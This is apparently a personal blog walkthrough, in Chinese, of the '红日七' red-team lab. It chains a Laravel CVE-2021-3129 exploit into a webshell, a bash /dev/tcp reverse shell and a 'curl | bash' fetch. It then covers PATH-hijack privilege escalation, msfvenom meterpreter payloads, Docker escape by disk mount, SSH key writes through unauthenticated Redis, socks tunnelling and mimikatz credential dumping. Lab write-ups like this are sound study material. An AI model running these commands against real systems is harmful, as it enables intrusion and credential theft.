SugarCrash!

记录学习,想找个师傅带带我

0%

红日七

搭建

1
2
3
4
5
6
7
8
9
10
11
12
13
环境搭建: DMZ区的 Ubuntu 需要启动redis和nginx服务(经过后面的心酸,这里的redis得用root权限启动): 
sudo su
redis-server /etc/redis.conf
/usr/sbin/nginx -c /etc/nginx/nginx.conf
iptables -F
ps -ef | grep nginx

第二层网络的 Ubuntu需要启动docker容器(仍然需要root):
sudo su service docker start
docker start 8e172820ac78

第二层网络的 Windows 7 (PC 1)需要启动通达OA
(这个得用administrator启动哦,并且要关闭防火墙): C:\MYOA\bin\AutoConfig.exe

先信息收集 扫描存活 arp-scan -l 端口扫描 nmap -T4 -A 173.16.1.7 22的ssh 80的nginx 81的Laravel 6379的redis

自己都写了php的框架,只要是这种,基本都是利用框架本身的漏洞,
上传webshell或者RCE反弹shell
漏洞检测脚本 https://github.com/zhzyker/CVE-2021-3129
执行命令脚本 https://github.com/crisprss/Laravel_CVE-2021-3129_EXP

python3 cve-2021-3129.py “system(‘uname -a’);”

1
利用脚本写一个whoami的一句话,前提是要有phpggc python3 cve-2021-3129.py "system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

换了个利用方式
首先使用 phpggc工具生成一条laravel中存在的反序列化利用POC(经过编码后的)

1
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

发三个数据包,改exp为一句话,蚁剑连接

1
2
3
4
webshell拿到,权限极低,执行不了什么命令,
docker环境,
搜索具有SUID或4000权限的文件:
find / -perm -u=s -type f 2>/dev/null


1
2
3
4
一篇文章用的蚁剑插件,,一直转圈圈,算了,用curl反弹 
kali上写个shell.sh,再开个Web服务
bash -i >& /dev/tcp/192.168.31.96/6666 0>&1
python -m SimpleHTTPServer 80

1
2
3
4
在蚁剑命令执行,看能不能访问 
curl 192.168.31.96/shell.sh 可以看到的话,直接执行
curl 192.168.31.96/shell.sh | bash
弹回来了

提权

开始提权,写恶意ps命令,ps内容/bin/bash就是进入命令行,然后修改环境变量,这样shell.sh就找到了tmp下的ps命令,然后以shell的root执行了ps, 也就是以root进入了命令行 这个方式vulnhub也经常有吧,叫做环境变量劫持

1
2
3
4
5
6
cd /tmp 
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
# 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序 cd /home/jobs ./shell

1
2
3
4
5
生成一个msf马 
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=173.16.1.8
LPORT=6667 -f elf > shell.elf

用wget把马下载下来,没有wget就apt-get wget下一个,权限高,为所欲为 wget 173.16.1.8/shell.elf

下载下来一方监听一方执行就上线了

docker逃逸

1
2
3
4
5
6
7
8
9
10
用前面的老办法 
msf进入shell

创建目录用于挂载
mkdir /weizi 将/dev/sda1挂载到/weizi目录里
ls /dev
mount /dev/sda1 /weizi
ls /weizi 看一下隐藏文件
ls /weizi/home
ls -alh /weizi/home/ubuntu
1
2
3
4
5
kali 本地生成ssh密钥 
ssh-keygen -f weizi
chmod 600 weizi
cat weizi.pub
vim key.sh
1
2
3
4
5
cp -avx /weizi/home/ubuntu/.ssh/id_rsa.pub /weizi/home/ubuntu/.ssh/authorized_keys 

echo '' > /weizi/home/ubuntu/.ssh/authorized_keys

cat /weizi/home/ubuntu/.ssh/authorized_keys
1
创建好后,wget下载下来 cd /tmp wget http://192.168.31.96/key.sh chmod 777 key.sh ./key.sh ls -alh /weizi/home/ubuntu/.ssh cat /weizi/home/ubuntu/.ssh/authorized_keys

ssh -i weizi ubuntu@192.168.31.132 发现连不了,还是要密码。。

redis未授权

1
2
3
4
5
6
安装redis-cli工具 
wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable
make //全局生效
> cp src/redis-cli /usr/bin/


redis-cli -h 173.16.1.7

既然有了redis,直接用redis写ssh免密登录,

1
2
3
4
5
6
7
8
9
10
生成ssh公钥 
ssh-keygen -t rsa

将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的redis缓冲里:
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt

cat key.txt | redis-cli -h 192.168.1.5 -x set xxx

redis开始表演,进入redis命令行将公钥写入(这里redis要是不用root启,就不行)
config set dir /root/.ssh # 设置redis的备份路径为/root/.ssh/ config set dbfilename authorized_keys # 设置保存文件名为authorized_keys save # 将数据保存在目标服务器硬盘上

1
分析docker逃逸失败 前面docker逃逸失败的原因,我们攻击的是192.168.1.5(记A) 他的81端口,拿到一个shell,这个shell是docker的(记B1),本以为docker的宿主机(B1)就是A 就用docker逃逸的方法想拿到宿主机,发现连不上,实际上,B1的宿主机是B,B应该还是另外一台内网,我ssh公钥就算改了B的,我连的IP都是A,连毛啊?可不得失败吗, 现在看来,这个B很有可能是52段的服务器也就是说A上的nginx代理到了B中dockerB1,我们拿到了B1!
1
2
3
4
也就是说前面docker逃逸的密钥写到了B主机,可以直接拿生成的私钥hack传到192.168.1.5 然后去ssh连接B主机, 
wget http://192.168.1.6/hack chmod 700 hack
ssh -i hack ubuntu@192.168.52.20
发现一个93网段,

1
2
3
4
5
6
7
8
9
10
11
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=6669 -f elf > ubuntu.elf 
use exploit/multi/handler
set lhost 0.0.0.0 set
lport 6669 set payload linux/x86/meterpreter/reverse_tcp
run
wget http://192.168.1.6/ubuntu.elf
chmod 777 ubuntu.elf

nohup ./ubuntu.elf &

成功上线

配代理

1
2
3
4
5
kali本机执行 
nohup ./ew_for_linux64 -s rcsocks -l 1080 -e 1234 &

vim /etc/proxychains4.conf
socks5 127.0.0.1 1080
1
2
3
4
5
192.168.52.20的机器进shell 

执行

nohup ./ew_for_linux64 -s rssocks -d 192.168.31.96 -e 1234 &

sockscap设置好,打开192.168.52.30:8080
通达oa


1
上工具,这个工具有个坑,有个获取cookie的功能但是获取不了,只有自己去网页上粘cookie过来。 成功获取到了shell

1
2
3
4
5
6
7
msf powershell投递上线 
use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.31.96
set lport 5555
run


shell 进去一套信息收集

横向渗透

迁移到64位进程上,然后抓取密码

1
2
3
4
5
6
7
8
load kiwi 
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords

ps
migrate pid号

找个64位的进程迁移进去